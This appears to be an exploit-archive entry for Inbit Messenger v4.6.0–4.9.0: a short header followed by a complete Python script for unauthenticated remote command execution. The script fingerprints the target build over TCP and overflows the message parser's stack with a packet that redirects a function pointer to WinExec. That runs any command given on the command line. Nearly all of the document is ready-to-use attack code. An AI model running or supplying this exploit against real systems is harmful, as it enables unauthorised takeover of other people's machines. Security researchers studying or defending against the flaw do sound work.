Inbit Messenger versions 4.6.0 through 4.9.0 suffer from an unauthenticated remote command execution vulnerability.
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# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
# Date: 11/08/2022
# Exploit Author: a-rey
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys, socket, struct, string, argparse, logging
BANNER = """\033[0m\033[1;35m
╔══════════════════════════════════════════════════════════════════════════╗
║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
╚══════════════════════════════════════════════════════════════════════════╝\033[0m
by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗
\033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║
\033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝
\033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝
\033[1;36m██║ ██║ ██║ ██║███████╗ ██║
\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝
\033[0m"""
# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
TARGETS = {
4601 : 0x005f3360,
4801 : 0x005f7364,
4901 : 0x005f7364,
}
# NOTE: min and max values for length of command
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64
# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
BAD_BYTES = b"\x3e" # >
def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
# NOTE: send packet with client build number of 4601 for v4.6.0
pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
_d = s.recv(1024)
# find build tag in response
if b'<c>' not in _d:
logging.error(f"invalid version packet received: {_d}")
sys.exit(-1)
s.close()
try:
build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
except:
logging.error(f"failed to parse build number from packet: {_d}")
sys.exit(-1)
# get the IAT offset
if build not in TARGETS.keys():
logging.error(f"unexpected build number: {build}")
sys.exit(-1)
# NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
winexec = struct.pack("<I", TARGETS[build] - 0x38)
logging.success(f"target build number is {build}")
logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
# sanity check for bad bytes in WinExec address
for c in winexec:
if c in BAD_BYTES:
logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
sys.exit(-1)
return winexec
def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
# NOTE: command must be NULL terminated
command += b"\x00"
# check user command length
if len(command) < CMD_MIN_LEN:
logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
sys.exit(-1)
if len(command) >= CMD_MAX_LEN:
logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
sys.exit(-1)
# get WinExec address
winexec = getWinExecAddress(targetIp, targetPort)
# get a string representation of the length of the command data after the <> tag parsed by atol()
pktLen = str(len(command))
pkt = b"<" # start of XML tag/stack overflow
pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
pkt += b"\x00" # NULL terminator to force atol to ignore what comes next
# NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
pkt += winexec # indirect function pointer we control
pkt += b">" # end of XML tag/stack overflow
pkt += command # the command set to the call to WinExec()
logging.info(f"sending payload to {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
s.close()
logging.success("DONE")
if __name__ == '__main__':
# parse arguments
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-t', '--target', help='target IP', type=str, required=True)
parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)
args = parser.parse_args()
# define logger
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
# print banner
print(BANNER)
# run exploit
exploit(args.target, args.port, args.command.encode())